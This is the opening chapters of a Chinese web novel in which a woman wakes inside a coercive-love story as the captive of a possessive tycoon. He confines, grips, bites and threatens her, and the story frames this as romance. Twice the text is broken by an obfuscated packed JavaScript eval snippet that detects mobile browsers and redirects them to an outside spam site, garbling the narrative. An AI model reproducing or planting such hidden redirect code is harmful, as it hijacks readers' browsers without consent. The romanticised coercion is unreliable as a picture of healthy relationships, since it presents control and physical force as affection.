《请疯批男主吃甜瓜》 1. 穿书 “看来是我对你太纵容了,既然我的宠爱你不稀罕,那就好好承受我的怒火。” “管家,从现在起看好她,不准出门半步。” 断断续续的声音及画面映入脑海,林鹿头似炸了般疼得厉害。等好不容易睁开眼,又被眼前的一切创得飞起。 她,没死! 穿越了! 穿进一本强制爱虐文中,成为疯批男主的心上人。 在她逃他追她插翅难飞的过程中,女主经历一系列诸如囚禁、自杀、车祸、强那啥、流产、绑架等等凄惨后,终于和男主happyending了。 这都能he? 就无语! 生无可恋地抱着被子打了几个滚。下一刻,看着偌大衣帽间里满目琳琅的奢华衣服、首饰、包包,以及尚健健康康的身体,林鹿瞬间满血复活,觉得自己又可以了。 强制文女主而已。 在健康活着和泼天富贵面前,都小意思啦。 简单收拾好妆容,林鹿拍拍脸,迎接崭新的人生。 餐厅里,早餐已经备好。 中西餐皆有,整整十多道,精致得光看着就觉得美味非常。 旁边,候着几名女佣,见她进来,动作一致地点头问好。 领头的中年女人更是小步上前,主动拉开座椅:“林小姐,请用餐。” “季、季时深呢?”压住心底对顶级有钱人豪奢生活的不适应,林鹿矜持地问道。 “先生去F国出差了,”中年女人也即王霞回道。 “出差?”还挺符合霸总日常的,林鹿抿了抿唇,“大概什么时候回来?” “先生没特意交代,我们也不清楚。” 点头嗯了声,林鹿开始吃早餐,直到将肚子塞个满饱才起身,准备出门转转,消消食。 结果,刚走到门口,就被身后不知从哪个角落冒出来的男人叫住:“林小姐,先生有吩咐,您不能出门。” “我不出别墅,就在外面的小道走走。” 林鹿皱眉,模模糊糊的记忆里,季时深好像是有说过这话。 按照剧情,现在这个时间正是她刚被囚禁的点。接下来,为了逃出去她会经历绝食、跳窗、翻墙……等浑身都是伤、狼狈万分后被季时深逮住,迎接更大的怒火。 想到那些强制画面,以及自此仿佛打开新世界大门而变得越强制越疯批上瘾的季时深,林鹿恶寒地甩甩头,她绝不会走上这条路。 绝不! “抱歉,请林小姐不要为难我们。”男人也即别墅的管家章进快步上前,语气恭敬,动作却一点也不含糊地伸手挡在林鹿身前。 林鹿有些不悦,但想到剧情里季时深手下人的变态执行力,还是歇了反抗的心思,只退而求其次道:“那麻烦给我准备一台手机,之前的手机被你家先生摔坏了。” “这?我要和先生报备一下。” 一而再再而三地被推诿,泥人都有三分气性,林鹿自然也不例外:“那现在就打电话报备,开免提!” 电话很快接通,不过不是季时深,而是季时深的心腹之一曹青:“什么事?季总正在开会,预计半个小时后结束。” “林小姐想要一台手机,你看?” “给啊,这点小事……”电石火花间,曹青想起季时深对待林鹿的异常,忙改口道:“等一下,我还是先问问季总的意思,晚些再回你。” “林小姐?”章进看向林鹿。 林鹿点点头。 真正有决定权的是季时深,既然他在忙,那就再等等,左右不过半个小时,很快的。 半小时后。 王霞捧着手机过来:“林小姐,先生的电话。” 林鹿接过,起身走向阳台。想到即将和书中的超级疯批大佬对话,不知觉有些紧张。 “手机已经安排下去,很快就送到。但什么人该联系,什么人不该联系,希望不用我教,你能懂。” 如名字一般,季时深的声音轻飘冷冽,带着上位者的天然压迫,林鹿控制不住地心跳加速。 深吸口气,缓解本能升起的惧怕,林鹿不回反问:“屋子里很闷,我想出去转转,可以吗?你放心,我不出别墅大门,就在外面的花园小道走走。你可以安排人跟在后面,我绝不会乱跑的。” “你……”没料到林鹿会是这个反应,季时深一时语塞,“最好是这样。” “你同意啦?就这么同意啦?”林鹿真的意外。她以为要磨好一会嘴皮子呢,甚至都做好了被拒的准备,可没想到惊喜来得这么快。 季时深没应声,但个中意思已经明了。 林鹿很兴奋,礼尚往来,顿觉自己也该表示表示:“你什么时候回来?我去机场接你。” “不用,在别墅等我就行,我先回公司一趟。” “哦,”犹如一盆冷水浇下,林鹿燃起的热情哗啦灭掉。不过,想到接下来的计划,还是鼓足勇气道,“那等你忙完公事,可以抽出一两天空闲吗?我觉得我们应该好好谈谈。” 剧情里,她大部分不幸来自于季时深。换句话说,只要经营好和季时深的关系,就能远离那些虐。 日子是过出来的,关系是处出来的。 林鹿默默给自己打气,加油,未来一定会美好的! “到时再说。”季时深的声音突然变得愈加冷淡,不等林鹿反应,就挂断了电话。 看着黑下去的屏幕,林鹿郁闷地跺了跺脚。还大集团总裁呢,招呼都不打声就挂,真一点也不礼貌。 隔空幻想揍了几拳季时深,林鹿才气消。 这时,新手机被送了过来,林鹿更是放下这茬,转身迫不及待地拆盒、插卡、开机、下载基础软件。 一切搞定后,林鹿犹豫了会,还是点开微信,给季时深发了信息。 【新手机到了,我很喜欢,谢谢~】 【你能同意我出门转转,我也很开心。】 【但你刚刚什么都没说就直接挂断电话的行为,真的很不好,下次尽量不要这样哈。】 等了会,没见季时深回复,林鹿也不失落,而是开始起自己的思量——引导季时深,让他学会正确地处理亲密关系,远离发癫强制,做个有爱且能爱的人。 纵观全文,林鹿觉得季时深是个缺爱但又不会爱的人。 他,没有爱人的能力。 相较于表现出来的病娇、疯批,没有爱人的能力才是人与人相处的最大障碍。 前者,可以用坚定不移的爱和足够的安全感一点点软化。 后者,却注定无解。任何一段长期关系都能因为它走向分崩离析,像断了养分的花,开得再美也注定结不出果实。 囚禁并不是件愉快的事,但林鹿天性乐观平和,又善于给自己找事做,倒也能忍受。 这些天,纵使没什么共同话题,她也一直坚持给季时深发信息。 喜欢的菜肴、抽芽的嫩叶、绚烂的花朵、斑驳的光线、蓬勃的朝阳、蔚蓝的天空、火烧的晚霞……只要是美的,都一一分享给季时深。 大部分时候,季时深是不回复的,只偶尔在林鹿的追问下才嗯哦地吱个声或直接一个问号。态度十分之冷淡,也就不抱期待,林鹿才没有因此内耗,依旧坚持着。 只私下免不了困惑。 不管是原身的记忆还是书中的未来走向,季时深对她都有着强烈的占有欲,那她现在这么主动,对方不是应该很高兴、很热情,怎么还一副生人勿近样? 难道,这就是没有爱人能力的表现?或者,回避型依恋? 琢磨不明白就不琢磨。 作为阅文多年的资深书虫,林鹿深知一段关系最忌讳的就是什么都憋在心里、不长嘴,她才不会没苦硬吃地为难自己呢。 掏出手机,林鹿直接发问。 【你是不是嫌我烦?不喜欢我给你发信息?】 季时深应该在忙,隔了大半个小时才回复。 【?】 又是问号!!! 林鹿PTSD都快整出来了。翻了个白眼,手指啪啪啪地上下敲击,不像打字,更像敲头,敲某个叫季时深的大头。 【问号是什么鬼,你就不能直白点,说是或不是?】 【不烦,不是】 这次,季时深回复得很快。 【那你为什么这么冷淡,我发了那么多信息,你就回了寥寥几个。】 【交流交流,有交才有流,我一个人能起什么劲。】 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要是早知道强取豪夺这么好用,他当初就不该心慈手软,浪费这么长时间。 向后滑开座椅和办公桌的距离,季时深慵懒地靠在椅背,指节撑着下巴,适意地顺着林鹿的话道:“无聊,算吗?” “无、无聊?”林鹿瞪大眼,满脸的不可置信,“怎么可能无聊?你不觉得很美好、很温馨、很有生活气息?” 嘴角荡出笑意。 季时深掩饰性地换了个姿势,右腿翘在左腿上,语气逗弄道:“你这么一说,或许吧~” 或许就或许,带个吧是什么意思。 林鹿敢怒不敢言地撇撇嘴,很快,又自我攻略,表示理解和尊重。 “那说说你感兴趣的,以后遇到了我可以分享给你。当然,我感兴趣的也会继续发你,你就当纯分享,可以已读不回。” 她和季时深认知不一样、性格不一样、喜好不一样、圈子更不一样,若是不趁着日常多交流互动,那关系只会永远停滞不前。 哪怕是攒情分,让季时深发疯时手下留情点,林鹿也觉得该先努力一把试试。 “你。”季时深道。 “嗯?”慢了半拍,林鹿才后知后觉地反应过来,只是,是她想的那个意思吗。 季时深颔首,很快解惑道:“对,就是你想的那样。我对你很感兴趣,你可以多发你的自拍照,最好是表情丰富的那种,我喜欢你各种笑的样子。” “呃……” 这是在撩她?怎么莫名有种被病态盯上的渗人感。 林·聊天小能手·鹿惨遭滑铁卢,一时竟不知如何接话,只尬笑地问,“就没有其他感兴趣的?” “有啊,工作,但你确定要和我聊工作。” “那还是算了,”职场小白VS商业大鳄,把她扔到娘胎回炉重造,林鹿也没这个自信能和季时深在这方面聊个明白,“我还是尽量给你发照片吧。” 不是她想出卖色相,实在是才华少了亿点点。 “周四下午,三点二十,记得到机场接我。” “你要回来?” 错愕后,林鹿莫名地有些紧张、惧怕,这可是有着大反派手段的疯批病娇男主呀。 “怎么,是想我回来还是不想我回来?” 声线依旧平稳,表情也没什么变化,但林鹿就是嗅到危险的气息。 干笑几声,林鹿十分乖巧道:“当然是想你回来啊,可想可想了。只是之前你说会直接回公司,不用我接,有些惊讶而已。” “事情比较顺利,就提前回来。” “不是让我抽出一两天陪你吗,这次正好有空,你可以提前想想有什么安排。” “真哒?”林鹿瞬间被转移注意力。 这段时间,她也不是真的啥事都没做—— 熬夜追了好几本疯批大佬强制爱小说,更结合原书对季时深的描述,制定了一份专属攻略手册。 她相信,未来一定能远离那些傻逼剧情,和季时深友好相处的。 2. 惊吓 捧着水杯,端坐在松软的沙发上,林鹿忍不住悄悄打量了眼四周。 这是她第一次知道FBO,也是第一次进入其内。 感受着贴心的服务、宾至如归的装饰,林鹿舒适地咂了声,这就是有钱人的世界吗,享受得真好。 瞅了眼时间,距离航班抵达还有二十多分钟,林鹿戴上耳机开始追剧。 继疯批强制爱小说后,她成功掉入短剧的坑。看着剧中男女主各种极限拉扯,一边被迷得粉红泡泡直冒,一边又忍不住琢磨着哪些招数可以学以致用。 正起劲呢,突然感觉一道视线向她凝来,林鹿下意识抬头。 只见,一行人穿过走道,阔步向她这个方向走来。 清一色的黑色正装,高个长腿,光是视觉就给人极强的震撼。为首的年轻男人,剑眉星目却又不苟言笑,更是焦点中的焦点。 林鹿忍不住多看了几眼。 渊渟岳峙、琨玉秋霜。 脑海里突然冒出这两个成语,林鹿似听到自己的心跳声。 下一刻,四目相对间,又猛地惊起,大脑一片空白。 季时深? 这是季时深! 意料之外又是情理之中。 比起照片、视频,现实中的季时深更好看,也更具压迫。 抬眸悄悄瞄了眼。 该说不愧是作者精心刻画的二次元男主吗?不论是身材长相还是气质涵养都满足女性对异性的终极幻想,是影视剧里那些男星拍马也演不出来的。 如果之前是迫于现实,不得不和季时深处好关系,那现在林鹿多少有些自愿了。 “在车里等着就行,怎么进来了?” 伸手拉过林鹿,季时深扫了个眼尾给旁边的曹青。瞬间,原本跟在身后的保镖小跑上前,挡在两侧,隔绝周围大部分窥探。 林鹿有些不适应这突如其来的亲近,本能地挣扎,结果不仅没挣脱,反而惹得季时深加大力气。 “啊,疼,疼,你快松开。”林鹿受不住地拍打季时深手背。 季时深没理会,反拽着林鹿径直朝外走,但手上的力道却在慢慢放缓,林鹿虽还不满,但也识趣地没再闹。 直到上车,季时深才松手。 林鹿第一时间查看手腕,果然,冷白的皮肤上残留着三道刺眼的红痕。 “你看,都是你做的好事。”控诉地将手腕伸到季时深面前,林鹿忿忿道。 瓷白搭上嫣红。 看着近在眼前的皓腕,季时深按下中控按钮。随着后座挡板缓缓升起,喉结上下动了动,幽暗的眸子更是微不可察地闪过一丝亮光。 季时深抬手,握住林鹿的手腕,拇指指腹沿着红痕轨迹轻轻摩挲,在林鹿不自在地想要抽回手腕时又发狠地紧紧抓住林鹿的手指,放在唇边轻轻舔了舔。 跟着,脸颊贴近,回味地来回蹭了蹭,歪头含笑地盯着林鹿的双眼,缓缓道:“我不喜欢被拒绝,尤其是你的拒绝,知道吗?” 平静中带着疯批,似下一刻就要爆发。 林鹿被吓住,结结实实地被吓住。 这一刻,她突然切身地体会到为什么季时深外在、内在都这么优秀,原身却一心想逃离,逃离得远远的。 真的,有些变态了。 不,应该是很变态。 林鹿第一反应也是逃离。扭过头,装作什么都没听见地看天、看地、看绿化,就是不看季时深。 季时深却不打算就此揭过,伸手掐住林鹿的下巴,一点一点地迫使其转过头。 林鹿想挣扎,但力量悬殊,加上真的很疼,只得妥协地和季时深对视:“我也不喜欢被强迫,就像你现在这样,真的很疼很疼,我怕疼,很怕。” “那就乖乖听话,”季时深松开手指,但依旧维持着掐下巴的动作,显然在等一个令他满意的回复。 察觉到下巴的力道在散去,林鹿愣了愣,抬眸审视性地看向季时深。 这是他第二次因为她喊疼而让步。 是凑巧,还是…… 或许,季时深并没有她想象中的那么残暴、自我,至少,还是能听得进话的。 吓缩回去的胆子又试探性地朝外伸了伸触角。 林鹿想到追文时看到的一条评论。 上面说面对季时深这样偏执、强势、占有欲强的人,最好的法子是以柔克刚、顺毛撸、给足安全感。硬碰硬的话,稍微没掌握好分寸,就激起他们的控制欲,陷入被强制爱的境地。 形势比人强,留给林鹿的选择并不多,就……死马当活马医吧。 想通这些后,林鹿不再嘴硬,乖乖妥协道:“知道了,只要你动作轻点,不弄疼我,我一定会好好配合的,大少爷。” 虽然不是很满意这答复,但看着林鹿讨巧的扮乖样,季时深莫名地心情上扬。 松开手,看到林鹿下颌处留下的两节指印,季时深心头闪过懊恼,想帮着揉揉,但……伸出的手很快又缩了回去,错开视线道:“也没用力,怎么就这么娇气?” 林鹿受不得这冤枉,翻了个白眼:“拜托少爷,是我娇气吗?是你对你的力气没点数吧。” 明明看着只是比一般人高大些,但也不到虎背熊腰、浑身肌肉疙瘩的地步,怎么劲就那么大,跟有内力似的。林鹿一边瞪着季时深,一边气呼呼地揉着下颌,不用照镜子,她都知道这上面肯定又留印子了。 季时深轻咳了声,顿了顿,从衣服里掏出一个盒子,递到林鹿面前:“给。” 墨青色的檀木盒子,看着就很高奢,更别说还是出自季时深之手。 不确定地瞅了瞅季时深,得到其肯定示意后,林鹿才好奇地打开。 是玉镯。 很润很透的玉镯。 哪怕对玉石不了解,是个纯小白,林鹿也肉眼看得出这么水润纯净的镯子会很贵,甚至,有价无市的那种。 “多少钱?”林鹿下意识问道,在季时深开口回答时又赶紧打住,“还是别说了,我怕我听了会心痛,以后都不敢戴出去,就怕给磕着碰着了。” 季时深被逗笑,卷起林鹿的一撮头发绕了绕,“磕坏了就再买,你喜欢才是最重要,现在戴上给我看看。” 该说不说,有钱人天生就自带浪漫吗? 林鹿可耻地被糖衣腐蚀了几秒,抿了抿唇,有些小期待地戴上手镯。 圈口大小正合适,颜色也和她的肤色相衬,几乎瞬间,林鹿就喜欢上这个镯子。 “怎么样,好看吗?”忍不住地摇着手腕向季时深展示。 莹白的皓腕、润透的玉镯,衬得先前被捏出来的红痕更加娇艳欲滴。 季时深舔了舔唇,无法自控地盯着看了数秒。幽暗的眸底火光频繁跳动,最后,在林鹿脆甜的声线和眉眼弯弯的笑靥中彻底爆发。 手比脑快,季时深抓住林鹿的手,一口咬在红痕处。 突如其来的动作、急促猛烈的钝痛感,林鹿惊吓得瞪圆了眼,本能地用力挣脱。 没挣开! 反倒被季时深斜过来的凌厉中带着嗜血的眼神狠狠摄住! 感官变得异常敏锐。 林鹿能清晰地感知到手腕上季时深上下啃噬的牙齿和用力抵弄的舌尖。 一阵阵又痛又痒的感觉从手腕扩散至心脏、全身,但林鹿却动都不敢动,甚至呼吸都无限地放轻,就怕一个不经意间又刺激到了季时深。 怎么就发展成这样呢? 林鹿大脑似塞了浆糊,怎么想也想不明白。 明明,书里的季时深不是这样的。只是简单的偏执、狠戾、占有欲强,根本就没这么变态,变态得让人恐惧。 她清楚地记得季时深初期是有边界的,两人肢体接触并不多,是后面撞破她和暗恋对象拥抱在一起才开始发疯、进而一发不可收拾的。 怎么现在…… 是她穿书带来的蝴蝶效应吗? 大热天的,林鹿生生打了个冷颤。原本的季时深就够吓人了,这要是再来个2.0版的,她都不敢想象明天会怎样。 太恐怖了。 唯一庆幸的是季时深理智应该还在,没有真的用力咬,虽然疼,但还在忍受范围内。 不知过了多久,季时深才松开嘴,林鹿试探性地想要抽回手,但被按住。 从怀里抽出锦帕,季时深一点一点地擦拭着留在林鹿腕上的液体,神情格外的温柔专注,和先前的癫狂判若两人。 林鹿蹙了蹙眉,小心又困惑地看着季时深。 “也就是在车上,我不会真的做什么,但有下次,再这么招惹我,就不是简单放过了。”将锦帕斜对折,包裹住林鹿被啃得斑斑红痕的手腕,季时深一边轻柔地打结,一边冰冷地警告。 鼻子突然酸胀得厉害。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718751|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陌生世界、陌生人际、短短时间内,一再地被惊吓,林鹿本就委屈得不行,现下又被季时深这么冤枉,顿时有些控制不住:“我哪招惹你了,我根本就什么都没做,是你自己莫名其妙地发疯,你还将锅甩到我头上。” 越说越委屈,林鹿吸了吸鼻子,声音带着明显的哭腔。 季时深略显失措地抬头,只见,林鹿一副被欺负惨了的模样。 眼泪倔强地在眼眶打转,欲掉不掉,眼睑慢慢染出红晕,贝齿轻轻扣着颤抖的唇瓣。 宛若、宛若……刚刚被蹂躏过。 下腹突然一阵火热,反应过来是什么,季时深近乎慌乱地一手蒙住林鹿的眼睛,一手从冷藏格里随便抓出一瓶水。 猛灌了好几口,稍微平息躁动后,季时深才移开蒙住林鹿眼睛的手,改为贴在其脸上。 拇指指腹不轻不重地来回抹着林鹿的唇,季时深语气冰冷地命令:“不许哭!” 林鹿顿住,随即,不服气地狠狠瞪向季时深。因为含泪,这一眼没有丝毫的气势,反而更容易激发人内心的邪恶。 季时深交叠起双腿,错开视线:“也不要用这样的眼神看着我,我会很兴奋,想让你哭得更大声。” 愣了几瞬,林鹿才后知后觉这是怎样的虎狼之词,羞愤地骂了声变态,双手飞速地盖住眼睛。 季时深嘴角不知觉勾勒出笑意,原始的躁动也被悉数压下。 忍不住多看了眼林鹿,才手抵着其额头将人推远了些。语气慢慢回到惯常的平稳:“从没有人当着我的面骂过我,林鹿,你是第一人,该说你是怕我还是不怕?” 林鹿没吭声,隔了会,才打开指缝偷偷打量着季时深,确定其恢复正常、不再危险后才放下手。 “我什么时候骂你了?我只是单纯地陈述事实。还好意思问我怕不怕,你怎么不反省自己有没有做过可怕的事。” 季时深被气笑,闭眼转头,无奈地看着林鹿:“行,你行,现在去哪?” “不是回去吗?”林鹿不解,“你不用倒个时差,休息休息?” “飞机上睡过了。答应接下来两天陪你,自然说到做到,所有行程按你的想法就好。” 什么时候答应了?她怎么不知道?林鹿看向季时深,见他神情认真,便没再纠结。 看了眼时间道:“这个点……要不,我们去看电影?看完正好到饭点,顺带吃个饭?” 为了拉近和季时深的距离,林鹿想了好几个相处事项,但真到用时,大脑却似被橡皮擦过一般,只剩下最俗套的招数。 正懊恼着,突然想起什么,林鹿焦急地敲着挡板:“停车,快停车,我的花还落在休息处了。” 季时深拉过林鹿的手,不甚在意道:“一束花而已,你要喜欢,我让人订些新鲜的送到家里。” 边说着,边拿出手机,“喜欢什么品种的?玫瑰?百合?还是各种都来些?” 林鹿摇头:“不一样的。那是我一枝一枝挑选出来,想作为礼物送给你,你还看都没看呢。” “送我?”季时深意外,下一刻,不等林鹿回答就按下挡板,吩咐司机:“掉头,回去。” “这么长时间,也不知道会不会被保洁当作无主的给扔了,”林鹿迁怒地拍了下季时深手臂,“都怪你,要不是你一见面就拽着我往外走,我不会忘的。” 反握住林鹿的手,季时深语气平静:“花束不比其他,不会被随便仍的,放心。” “林小姐,你说的是这个吗?”副驾的曹青突然拿出一束花,“我看它就放在你座位旁边,想着应该是你的,就作主带了回来。” “啊,就是这个,谢谢你,”林鹿惊喜地接过花束,递向季时深,“喏,送你。” “向日葵?”指尖拨了拨花瓣,季时深状似随意地问道,“是有什么特别寓意吗?” “寓意?你是说花语吗?我没太关注这个,当时就一眼看中了它,觉得你应该会喜欢。你喜欢吗?” 其实,林鹿是觉得季时深太冷了,希望他能和向日葵一般温暖、和煦,不要动不动就发疯、强制。不过,这想法她一个人知道就行了,要是被季时深知道,怕是又给刺激上。 “和你很像,我很喜欢。” 季时深看了看暖黄的花朵,最后,视线定在林鹿的脸上,带着丝宠溺缓缓道。 他想,他又做对了一个选择! 3. 商量 考虑到季时深,林鹿特意选了个人少的影厅,但意义显然并不大——开场不过十多分钟,季时深就靠着椅背睡了过去。 不知是累了倒时差,还是单纯的对电影不感兴趣。 看了眼季时深,林鹿继续专心地看起电影。 这是一部文艺片,讲述了一对互有好感的男女因为误会而错过,后面兜兜转转又重逢在一起的故事。 剧情比较俗套,也不是林鹿喜欢的从头甜到尾的风格,但因为男女主颜值和与角色契合度,倒也勉强看得津津有味。 而且,也不是完全没收获的。 她再次清醒地意识到一段关系中长嘴的重要性,那种隐瞒式、感动自己的‘为你好’有多可笑。当然,最重要的一点是,爱情很美好,但人生不是只有爱情,其他的同样很美好。 不知不觉,电影走向大结局,观众也断断续续离开。 林鹿再次看向季时深,闭着眼的他少了冷漠凌厉,多了几分柔和乖巧,但不管是哪个他,颜值都没得说,是能让人一见钟情的那种。 林鹿是颜狗,可耻地盯了几眼又几眼。直到季时深被窸窸窣窣的散场声吵醒,揉着眉峰快要睁眼时才移开视线,一边起身一边随意道:“醒啦,我们也出去吧。” 季时深扫了眼周围,想说些什么,但又不知道如何开口。 “快点呀,人都走光就剩我们了,”没听到动静,林鹿回头催促。 “这次算我欠你的,下次,下次你再想看电影,可以叫上我,我们一起。”伸手拉住林鹿,季时深语气认真道。 林鹿愣了愣,想笑季时深随时随地都能把气氛整得严肃,但想了想,还是报以同样的认真柔和道:“你是因为睡着了,觉得抱歉,在给我补偿吗?季时深,这是小事,不至于的。先不说我在不在意,就算在意了,也谈不上欠不欠。” “日子会很长,两个人相处可以是包容,但不能是容忍。前者主动,后者被动,一字之差千里之别。季时深,我希望我们的关系是彼此正向的,而不是谁一味地迁就着谁。现在,我想问你一个问题,你喜欢看电影吗?说实话。” 季时深顿了下道:“看情况,一般,但可以陪你一起。” 林鹿有些被这回答愉悦到,但该说的还是要说清楚:“下次遇到不感兴趣的,你可以直接说不。” 季时深一愣:“你不生气?” 虽然没谈过恋爱,但掌控一个商业帝国且做强做大,季时深显然双商在线。女人和女性他分得很清,后者可以公事公办、不讲情面,前者则复杂得多了,时间、精力、情绪价值缺一不可。 他于万千人中挑中林鹿,要的可不仅仅是将她锁在身边。 身和心,他一个都不想少,也不能少! “我看上去很容易生气吗?”林鹿歪着头,正视季时深的眼睛,“我们认识的时间还短,我对你也不够了解,只有先明确了你的喜好,才能调整出更适合我们的相处方式。” “像这次,如果知道你对电影不感兴趣,我可以不看的。实在想看,也可以在家里,我们一起选片,遇上你喜欢的就一起看,没有,你就戴着耳机在旁办公或休息。这样,我们既呆在了一起,又做了各自欢喜的事,多好。” “当然,这是理想状态。人都是情绪动物,偶尔我心情不好或想任性时,这些就都不作数。那时,万事得以我为先,不管我提的要求多无理、多为难,你都得宠着一口应下。嗯,公平起见,你也有这样的权利要求我,但次数不能超过我哦。” 季时深静静地听着,突然,手臂一伸将林鹿紧紧带入怀中,凑近耳边缓缓道:“我是越来越期待我的选择了。” 林鹿没听懂,但也顾不上询问。 鉴于季时深先前的变态举动,生怕他又临时发疯,做出更亲密的动作,林鹿吓得赶紧推开提醒:“这里是影院,打扫阿姨马上就过来了,我们快走。” 说完,不等季时深回应,就近乎慌乱地小跑离开。 季时深轻笑出声,看向还残留着余温的掌心,垂眸回味地捻了捻。跟着,笑容一敛,眼皮一抬,幽暗的瞳孔中散发着势在必得的冰冷。混着明明灭灭的灯光,危险气息瞬间拉到最大。 林鹿若在此,怕是又要吓得质壁分离。 靠着走道扶栏,感受着明亮的光线、宽阔的视野,林鹿拍了拍脸,长长地呼出一口气,平复砰砰跳动的心。 真不是色诱吗? 简直太犯规了。她到现在都能感受到季时深硬邦邦的胸膛和温热的呼吸,再对上那张高冷禁欲的脸…… 啊啊啊,不能再想下去了。 眼角余光瞄到季时深走近,林鹿忙甩甩头,将脑子里的废料全甩出去。但仍不敢直视,蹩脚地找着话题:“那个,我们回去吃吧。” “不是说要在外面吃吗?”季时深打量着林鹿,分析她突然改变主意的原由。 “呃……”林鹿犹豫了会,还是实话实说道:“之前是有这个打算,但现在好像不需要了,我觉得你和我想象中的有点不一样,嗯……更好说话点,可以直接交流,不用整花活做铺垫。” 第一次听到这样的评价,季时深有些不确定地反问:“更好说话?” “嗯,”林鹿眨巴着眼点头,特真诚。 虽然季时深的某些举动略变态,但比起不分场合地壁咚、掐脖子、强吻要好很多。而且,脸够帅、身材够好,貌似也有几分顾忌她的感受,比预想中的天崩开局不知要好多少,林鹿已经很知足了。 “哎呀,我们快点回去吧,吃完饭,我还有重要的事和你商量呢,”说完,林鹿就大胆地拉着季时深手臂往外走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718752|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季时深没有甩开手,甚至难得好脾气地跟上林鹿的步伐,语气平静地问:“有什么事是现在不能说的吗?” “在这里?”左右看了看,林鹿摇头拒绝,“不行,我要说的是很严肃的事,这里不太正式。回去啦,我现在就发信息给王婶,让准备晚餐,这样我们回去就能吃上现成的。还是说,你现在就肚子饿了?那我给你买点小蛋糕垫垫?” 季时深没应声,淡淡看了眼林鹿,抽出被拽着的手臂,一边大步向前一边查看手机。 生气了? 困惑几秒,林鹿小跑追上:“喂,你又怎么了?等等我呀。” 刚出商场大门,对面马路就驶来一辆熟悉的库里南,见季时深上车,林鹿忙加快速度,跟着钻了进去,生怕慢上一秒就被丢下。 “季时深,你为什么生气?”认真、仔细地回想了一遍又一遍,林鹿十分确定及肯定她刚刚没说什么不该说的,“那个,你要真的想在外面吃,我是可以的,反正时间还来得及,也不耽误什么。” 季时深突然逼近,盯着林鹿的眼睛:“想和我商量什么?放你离开吗?林鹿,我告诉你,这辈子都不可能。我季时深想要的东西,从来就没失过手,东西是,人也是!” 都什么跟什么呀。 林鹿一头雾水,缓了会,才理清前后逻辑。顿时,又生气又无奈:“我什么时候说要离开了?季时深,你闹脾气能不能搞清楚再闹。叫你少爷,你还真是少爷,不,你比少爷还脾气大,是公主,深深公主。” 突然被吼,季时深莫名地竟不生气,反倒有些心虚。这种感觉很陌生,让他下意识地想要遮掩,脸色更冷、语气更沉地质问:“那你想和我说什么?” “不管是什么,我现在都不想说,等我们冷静下来,都心平气和了,再好好说。”说完,林鹿扭过头看向窗外,不打算再理会季时深。 只是,不过三秒,就被季时深掐着下巴硬生生给掰了回来:“不想遭罪,就给我好好坐着,视线不许离开我。” “你……”林鹿本能地皱眉瞪向季时深,但很快就随着下巴加重的力道放弃抵抗,直到季时深松手,才警惕地双手捂脸,后仰着上半身道,“靠着力气欺负女人,你还是不是男人?” 季时深弹了弹裤子,暗示性十足道:“是不是男人,不是靠说,而是靠做,你要亲自检验吗?我很乐意奉陪的” “你、你……厚颜无耻!”林鹿羞红了脸,第一时间看向坐在前排的司机和曹青,虽然有遮挡板,但谁知道隔音效果怎样,季时深这人真是什么话都敢说。 季时深哼笑一声,抓住林鹿一只手握在手中。 林鹿想挣扎,但又生出几分顾虑,见季时深靠在椅背、微闭着眼,并没有进一步的动作,索性眼不见为净地撇过脸,当作什么都没发生。 4. 小事 情绪来得快、去得也快。 等车子停在别墅,林鹿已经忘了刚刚那一茬,只剩下对晚餐的期待。 偷偷瞥了眼季时深,一如既往的不露声色。林鹿凑近,戳了戳季时深胳膊,语调拖长似撒娇道:“和-好-啦——” 深看了眼林鹿,季时深没应声,而是侧身接过曹青手中的向日葵。 这是什么意思? 林鹿皱眉,对着季时深离开的背影挥舞几拳,一边大步跟上一边不服气道:“不吱声我就当你同意啦。本来做错事的就是你,我都没生气,你就更没资格生气了。” 哼了一声,林鹿故意撞开季时深,扬长而去,只留下摇摆的马尾。 “先生,”曹青担忧地上前,尽责问道,“要不要我将林小姐……”后面的话没说全,但显然不是什么好词。 止住趔趄的脚步,季时深眼皮一掀,警告性地看向曹青:“做好分内事就行。” 曹青:“……” 这就是他分内的事呀。 虽然想不明白,但曹青最大的优点就是听话,季时深怎么说他就怎么做。同时,也在心里将林鹿的重要性往上提了再提,他跟了先生这么多年,就没见过谁这么放肆后还一点惩罚都没的。 小小报复了下季时深,林鹿心情很好,只是,这种好心情很快就见光死。 “插好,放到书房,”见到出来迎接的王霞,季时深边递过花束边吩咐。下一刻,余光瞥到不远处的林鹿,不知出于何目的又临时改了主意,“等一下,林鹿,你来。” “啊?”突然被点名,林鹿有些意外,但毕竟不是什么麻烦事,倒也欣然应下,“那王婶你先放着,等吃完饭了,我来弄。” “现在就去,”看向林鹿,季时深不容置喙地开口。 林鹿有些不爽,压下心头争着往外冒的火气,尽量语气平静道:“我肚子有些饿了,想先吃饭。花就在这里,又跑不了,早些晚些都一样,不影响什么的。季时深,这是小事,不值得上纲上线,非要按着你的想法来。” “小事?”上嘴唇抽动了一下,季时深冷冷地盯着林鹿,“现在就去,我不想再说第二遍。” 这一瞬,上位者气势在季时深身上展现得淋漓尽致,空气都似乎变得紧张、凝结,周围人更是不知觉地停下动作,放轻呼吸。 林鹿也有些惧怕,只勉强剩一口气在强撑,不愿妥协。 